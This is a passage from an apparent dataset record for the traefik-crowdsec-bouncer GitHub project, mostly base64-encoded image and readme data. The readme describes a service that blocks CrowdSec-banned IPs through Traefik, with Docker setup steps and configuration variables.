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emhyZ6RxQPySJPe/lunXXltVOQ/DzETIsT08+Shwb8Dxjq45d86r+53/hZWbXqmqON8Y+3FgZeaiFS861q+sqZrz6WVzp0YyuCxtBTZ2833vqqVJ7l+YwWkv7uE6RoHzgH/3US1FFLBEesjlwM09MJ3XXddN6aLJgUDgbmBHR+HE9/0f9MYLrz2vcsUrVRXne4HAdGAe0N1jWpqA/8VhQm1V5WdeOvfYNckeUHPenMdqqyonOfjHAnfQc7087xhjz6+dW3ncy3OPeaWXlqXOLlJcQ2o9M11xO/GDv/enPsnzSuaPxI8z7ChIfz0DYbUVOAtY0ElgfFSrLhmodCCoDCrhcPh44BagsgsPbwGucF33T6k+YNasWccbY+4kfvbb7lAAfMF13cf7ogYn3ftsXktx/oeMtWdZzDHEz8or6OQhrVheMca+YKx93sn1X3zxE8d1a/dm+K6FoZzyyCkWE7bGTAEOI36WYFGSh74NvIjhRc8PvLhw7lFv98EyZIBvAN/a5/k+Anzedd33Mzjv44C7E/XaZSlwpeu6td2c9lTgN/t8NtYC/+W67hMZfE0lwP3Ej/fb5d/ARa7rrtdaSxSwRAZW0DoSmEb8AO5piZ/2wznEEoGqGVhOfHfeL1zXXZXuvKqqqgLvvvvuFM/zJhhj3i0uLn7zueeei/WnesyZ/9IY4BCPQJE1pjVIrMU6ppUoLQ1OyapM7nbbzVpz1LwFY4OB2AGeE/ADeJ7nBHwfxwtGYp6f42x+5ZyKbf1oGSpOLDclwDLXddf10nwDiYA1nvhYb2+m2quaYng8FJgErAfe6Kljr1KY7+HAlMQXkEWJY7VERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERETk/7cHBwQAAAAAQv6/bkgAAAAAAAAAAAAAYCF0bEkh90PvtAAAAABJRU5ErkJggg==", "url": "https://github.com/fbonalair/traefik-crowdsec-bouncer", "description": "A http service to verify request and bounce them according to decisions made by CrowdSec.", "stars": 177, "downloads": 0, "readme_content": "IVtHaXRIdWJdKGh0dHBzOi8vaW1nLnNoaWVsZHMuaW8vZ2l0aHViL2xpY2Vuc2UvZmJvbmFsYWlyL3RyYWVmaWstY3Jvd2RzZWMtYm91bmNlcikKIVtHaXRIdWIgZ28ubW9kIEdvIHZlcnNpb25dKGh0dHBzOi8vaW1nLnNoaWVsZHMuaW8vZ2l0aHViL2dvLW1vZC9nby12ZXJzaW9uL2Zib25hbGFpci90cmFlZmlrLWNyb3dkc2VjLWJvdW5jZXIpClshW0dvIFJlcG9ydCBDYXJkXShodHRwczovL2dvcmVwb3J0Y2FyZC5jb20vYmFkZ2UvZ2l0aHViLmNvbS9mYm9uYWxhaXIvdHJhZWZpay1jcm93ZHNlYy1ib3VuY2VyKV0oaHR0cHM6Ly9nb3JlcG9ydGNhcmQuY29tL3JlcG9ydC9naXRodWIuY29tL2Zib25hbGFpci90cmFlZmlrLWNyb3dkc2VjLWJvdW5jZXIpClshW01haW50YWluYWJpbGl0eV0oaHR0cHM6Ly9hcGkuY29kZWNsaW1hdGUuY29tL3YxL2JhZGdlcy83MTc3ZGNlMzBmMGFiZGY4YmNiZi9tYWludGFpbmFiaWxpdHkpXShodHRwczovL2NvZGVjbGltYXRlLmNvbS9naXRodWIvZmJvbmFsYWlyL3RyYWVmaWstY3Jvd2RzZWMtYm91bmNlci9tYWludGFpbmFiaWxpdHkpClshW2NpXShodHRwczovL2dpdGh1Yi5jb20vZmJvbmFsYWlyL3RyYWVmaWstY3Jvd2RzZWMtYm91bmNlci9hY3Rpb25zL3dvcmtmbG93cy9tYWluLnltbC9iYWRnZS5zdmcpXShodHRwczovL2dpdGh1Yi5jb20vZmJvbmFsYWlyL3RyYWVmaWstY3Jvd2RzZWMtYm91bmNlci9hY3Rpb25zL3dvcmtmbG93cy9tYWluLnltbCkKIVtHaXRIdWIgdGFnIChsYXRlc3QgU2VtVmVyKV0oaHR0cHM6Ly9pbWcuc2hpZWxkcy5pby9naXRodWIvdi90YWcvZmJvbmFsYWlyL3RyYWVmaWstY3Jvd2RzZWMtYm91bmNlcikKIVtEb2NrZXIgSW1hZ2UgU2l6ZSAobGF0ZXN0IHNlbXZlcildKGh0dHBzOi8vaW1nLnNoaWVsZHMuaW8vZG9ja2VyL2ltYWdlLXNpemUvZmJvbmFsYWlyL3RyYWVmaWstY3Jvd2RzZWMtYm91bmNlcikKCiMgdHJhZWZpay1jcm93ZHNlYy1ib3VuY2VyCkEgaHR0cCBzZXJ2aWNlIHRvIHZlcmlmeSByZXF1ZXN0IGFuZCBib3VuY2UgdGhlbSBhY2NvcmRpbmcgdG8gZGVjaXNpb25zIG1hZGUgYnkgQ3Jvd2RTZWMuCgojIERlc2NyaXB0aW9uClRoaXMgcmVwb3NpdG9yeSBhaW0gdG8gaW1wbGVtZW50IGEgW0Nyb3dkU2VjXShodHRwczovL2RvYy5jcm93ZHNlYy5uZXQvKSBib3VuY2VyIGZvciB0aGUgcm91dGVyIFtUcmFlZmlrXShodHRwczovL2RvYy50cmFlZmlrLmlvL3RyYWVmaWsvKSB0byBibG9jayBtYWxpY2lvdXMgSVAgdG8gYWNjZXNzIHlvdXIgc2VydmljZXMuCkZvciB0aGlzIGl0IGxldmVyYWdlcyBbVHJhZWZpayB2MiBGb3J3YXJkQXV0aCBtaWRkbGV3YXJlXShodHRwczovL2RvYy50cmFlZmlrLmlvL3RyYWVmaWsvbWlkZGxld2FyZXMvaHR0cC9mb3J3YXJkYXV0aC8pIGFuZCBxdWVyeSBDcm93ZFNlYyB3aXRoIGNsaWVudCBJUC4KSWYgdGhlIGNsaWVudCBJUCBpcyBvbiBiYW4gbGlzdCwgaXQgd2lsbCBnZXQgYSBodHRwIGNvZGUgNDAzIHJlc3BvbnNlLiBPdGhlcndpc2UsIHJlcXVlc3Qgd2lsbCBjb250aW51ZSBhcyB1c3VhbC4KCiMgRGVtbwojIyBQcmVyZXF1aXNpdGVzIApbRG9ja2VyXShodHRwczovL2RvY3MuZG9ja2VyLmNvbS9nZXQtZG9ja2VyLykgYW5kIFtEb2NrZXItY29tcG9zZV0oaHR0cHM6Ly9kb2NzLmRvY2tlci5jb20vY29tcG9zZS9pbnN0YWxsLykgaW5zdGFsbGVkLiAgIApZb3UgY2FuIHVzZSB0aGUgZG9ja2VyLWNvbXBvc2UgaW4gdGhlIGV4YW1wbGVzJyBmb2xkZXIgYXMgYSBzdGFydGluZyBwb2ludC4KVGhyb3VnaCB0cmFlZmlrIGl0IGV4cG9zZXMgdGhlIHdob2FtaSBjb3VudGFpbmVyIG9uIHBvcnQgODAsIHdpdGggdGhlIGJvdW5jZXIgYWNjZXB0aW5nIGFuZCByZWplY3RpbmcgY2xpZW50IElQLiAgIApMYXVuY2ggeW91ciBhbGwgc2VydmljZXMgZXhjZXB0IHRoZSBib3VuY2VyIHdpdGggdGhlIGZvbGxvdyBjb21tYW5kczoKYGBgYmFzaApnaXQgY2xvbmUgaHR0cHM6Ly9naXRodWIuY29tL2Zib25hbGFpci90cmFlZmlrLWNyb3dkc2VjLWJvdW5jZXIuZ2l0ICYmIFwKICBjZCB0cmFlZmlrLWNyb3dkc2VjLWJvdW5jZXIvZXhhbXBsZXMgJiYgXAogIGRvY2tlci1jb21wb3NlIHVwIC1kIHRyYWVmaWsgY3Jvd2RzZWMgd2hvYW1pIApgYGAKCiMjIFByb2NlZHVyZQoxLiBHZXQgYSBib3VuY2VyIEFQSSBrZXkgZnJvbSBDcm93ZFNlYyB3aXRoIGNvbW1hbmQgYGRvY2tlciBleGVjIGNyb3dkc2VjLWV4YW1wbGUgY3NjbGkgYm91bmNlcnMgYWRkIHRyYWVmaWstYm91bmNlcmAKMi4gQ29weSB0aGUgQVBJIGtleSBwcmludGVkLiBZb3UgKipfV09OJ1RfKiogYmUgYWJsZSB0aGUgZ2V0IGl0IGFnYWluLgozLiBQYXN0ZSB0aGlzIEFQSSBrZXkgYXMgdGhlIHZhbHVlIGZvciBib3VuY2VyIGVudmlyb25tZW50IHZhcmlhYmxlIGBDUk9XRFNFQ19CT1VOQ0VSX0FQSV9LRVlgLCBpbnN0ZWFkIG9mICJNeUFwaUtleSIKNC4gU3RhcnQgYm91bmNlciBpbiBhdHRhY2ggbW9kZSB3aXRoIGBkb2NrZXItY29tcG9zZSB1cCBib3VuY2VyYAo1LiBWaXNpdCA8aHR0cDovL2xvY2FsaG9zdC8+LiBZb3Ugd2lsbCBzZWUgdGhlIGNvbnRhaW5lciB3aG9hbWkgcGFnZSwgY29weSB5b3VyIElQIGFkZHJlc3MgZnJvbSBgWC1SZWFsLUlwYCBsaW5lIChpLmUuIDE5Mi4xNjguMTI4LjEpLiAgCkluIHlvdXIgY29uc29sZSwgeW91IHdpbGwgc2VlIGxpbmVzIHNob3dpbmcgeW91ciBhdXRob3JpemVkIHJlcXVlc3QgKGkuZS4gInN0YXR1cyI6MjAwKS4KNi4gSW4gYW5vdGhlciBjb25zb2xlLCBiYW4geW91ciBJUCB3aXRoIGNvbW1hbmQgYGRvY2tlciBleGVjIGNyb3dkc2VjLWV4YW1wbGUgY3NjbGkgZGVjaXNpb25zIGFkZCAtLWlwIDE5Mi4xNjguMTI4LjFgLCBtb2RpZnkgdGhlIElQIHdpdGggeW91ciBhZGRyZXNzLgo3LiBWaXNpdCA8aHR0cDovL2xvY2FsaG9zdC8+IGFnYWluLCBpbiB5b3VyIGJyb3dzZXIgeW91IHdpbGwgc2VlICJGb3JiaWRkZW4iIHNpbmNlIHRoaXMgdGltZSBzaW5jZSB5b3UndmUgYmVlbiBiYW5uZWQuClRob3VnaCB0aGUgY29uc29sZSB5b3Ugd2lsbCBzZWUgInN0YXR1cyI6NDAzLgo4LiBVbmJhbiB5b3Vyc2VsZiB3aXRoIGBkb2NrZXIgZXhlYyBjcm93ZHNlYy1leGFtcGxlIGNzY2xpIGRlY2lzaW9ucyBkZWxldGUgLS1pcCAxOTIuMTY4LjEyOC4xYAo5LiBWaXNpdCA8aHR0cDovL2xvY2FsaG9zdC8+IG9uZSBsYXN0IHRpbWUsIHlvdSB3aWxsIGhhdmUgYWNjZXNzIHRvIHRoZSBjb250YWluZXIgd2hvYW1pLiAgCgpFbmpveSEKCiMgVXNhZ2UKRm9yIG5vdywgdGhpcyB3ZWIgc2VydmljZSBpcyBtYWlubHkgZm91Z2h0IHRvIGJlIHVzZWQgYXMgYSBjb250YWluZXIuICAgCklmIHlvdSBuZWVkIHRvIGJ1aWxkIGZyb20gc291cmNlLCB5b3UgY2FuIGdldCBzb21lIGluc3BpcmF0aW9uIGZyb20gdGhlIERvY2tlcmZpbGUuCgojIyBQcmVyZXF1aXNpdGVzCllvdSBzaG91bGQgaGF2ZSBUcmFlZmlrIHYyIGFuZCBhIENyb3dkU2VjIGluc3RhbmNlIHJ1bm5pbmcuICAgClRoZSBjb250YWluZXIgaXMgYXZhaWxhYmxlIG9uIGRvY2tlciBhcyBpbWFnZSBgZmJvbmFsYWlyL3RyYWVmaWstY3Jvd2RzZWMtYm91bmNlcmAuIEhvc3QgaXQgYXMgeW91IHNlZSBmaXQsIHRob3VnaCBpdCBtdXN0IGhhdmUgYWNjZXNzIHRvIENyb3dkU2VjIGFuZCBiZSBhY2Nlc3NpYmxlIGJ5IFRyYWVmaWsuICAgCkZvbGxvdyAgW3RyYWVmaWsgdjIgRm9yd2FyZEF1dGggbWlkZGxld2FyZV0oaHR0cHM6Ly9kb2MudHJhZWZpay5pby90cmFlZmlrL21pZGRsZXdhcmVzL2h0dHAvZm9yd2FyZGF1dGgvKSBkb2N1bWVudGF0aW9uIHRvIGNyZWF0ZSBhIGZvcndhcmRBdXRoIG1pZGRsZSBwb2ludGluZyB0byB5b3VyIGJvdW5jZXIgaG9zdC4gICAKR2VuZXJhdGUgYSBib3VuY2VyIEFQSSBrZXkgZm9sbG93aW5nIFtDcm93ZFNlYyBkb2N1bWVudGF0aW9uXShodHRwczovL2RvYy5jcm93ZHNlYy5uZXQvZG9jcy9jc2NsaS9jc2NsaV9ib3VuY2Vyc19hZGQpCgojIyBDb25maWd1cmF0aW9uClRoZSB3ZWJzZXJ2aWNlIGNvbmZpZ3VyYXRpb24gaXMgbWFkZSB2aWEgZW52aXJvbm1lbnQgdmFyaWFibGVzOgoKKiBgQ1JPV0RTRUNfQk9VTkNFUl9BUElfS0VZYCAgICAgICAgICAgIC0gQ3Jvd2RTZWMgYm91bmNlciBBUEkga2V5IHJlcXVpcmVkIHRvIGJlIGF1dGhvcml6ZWQgdG8gcmVxdWVzdCBsb2NhbCBBUEkgKHJlcXVpcmVkKWAKKiBgQ1JPV0RTRUNfQUdFTlRfSE9TVGAgICAgICAgICAgICAgICAgIC0gSG9zdCBhbmQgcG9ydCBvZiBDcm93ZFNlYyBhZ2VudCwgaS5lLiBjcm93ZHNlYy1hZ2VudDo4MDgwIChyZXF1aXJlZClgCiogYENST1dEU0VDX0JPVU5DRVJfU0NIRU1FYCAgICAgICAgICAgICAtIFNjaGVtZSB0byBxdWVyeSBDcm93ZFNlYyBhZ2VudC4gRXhwZWN0ZWQgdmFsdWU6IGh0dHAsIGh0dHBzLiBEZWZhdWx0IHRvIGh0dHBgCiogYENST1dEU0VDX0JPVU5DRVJfTE9HX0xFVkVMYCAgICAgICAgICAtIE1pbmltdW0gbG9nIGxldmVsIGZvciBib3VuY2VyLiBFeHBlY3RlZCB2YWx1ZSBbemVyb2xvZyBsZXZlbHNdKGh0dHBzOi8vcGtnLmdvLmRldi9naXRodWIuY29tL3JzL3plcm9sb2cjcmVhZG1lLWxldmVsZWQtbG9nZ2luZykuIERlZmF1bHQgdG8gMQoqIGBDUk9XRFNFQ19CT1VOQ0VSX0JBTl9SRVNQT05TRV9DT0RFYCAgLSBIVFRQIGNvZGUgdG8gcmVzcG9uZCBpbiBjYXNlIG9mIGJhbi4gRGVmYXVsdCB0byA0MDMKKiBgQ1JPV0RTRUNfQk9VTkNFUl9CQU5fUkVTUE9OU0VfTVNHYCAgIC0gSFRUUCBib2R5IGFzIG1lc3NhZ2UgdG8gcmVzcG9uZCBpbiBjYXNlIG9mIGJhbi4gRGVmYXVsdCB0byBGb3JiaWRkZW4KKiBgSEVBTFRIX0NIRUNLRVJfVElNRU9VVF9EVVJBVElPTmAgICAgIC0gW0dvbGFuZyBzdHJpbmcgcmVwcmVzYXRpb24gb2YgYSBkdXJhdGlvbl0oaHR0cHM6Ly9wa2cuZ28uZGV2L3RpbWUjUGFyc2VEdXJhdGlvbikgdG8gd2FpdCBmb3IgYm91bmNlcidzIGFuc3dlciBiZWZvcmUgZmFpbGluZyBoZWFsdGggY2hlY2suIERlZmF1bHQgdG8gMnMKKiBgUE9SVGAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC0gQ2hhbmdlIGxpc3RlbmluZyBwb3J0IG9mIHdlYiBzZXJ2ZXIuIERlZmF1bHQgbGlzdGVuIG9uIDgwODAKKiBgR0lOX01PREVgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC0gQnkgZGVmYXVsdCwgcnVuIGFwcCBpbiAiZGVidWciIG1vZGUuIFNldCBpdCB0byAicmVsZWFzZSIgaW4gcHJvZHVjdGlvbgoqIGBUUlVTVEVEX1BST1hJRVNgICAgICAgICAgICAgICAgICAgICAgLSBMaXN0IG9mIHRydXN0ZWQgcHJveGllcyBJUCBhZGRyZXNzZXMgaW4gQ0lEUiBmb3JtYXQsIGRlbGltaXRlZCBieSAnLCcuIERlZmF1bHQgb2YgMC4wLjAuMC8wIHNob3VsZCBiZSBmaW5lIGZvciBtb3N0IHVzZSBjYXNlcywgYnV0IHlvdSBIQVZFIHRvIGFkZCB0aGVtIGRpcmVjdGx5IGluIFRyYWVmaWsuIAoKIyMgRXhwb3NlZCByb3V0ZXMKVGhlIHdlYnNlcnZpY2UgZXhwb3NlcyBzb2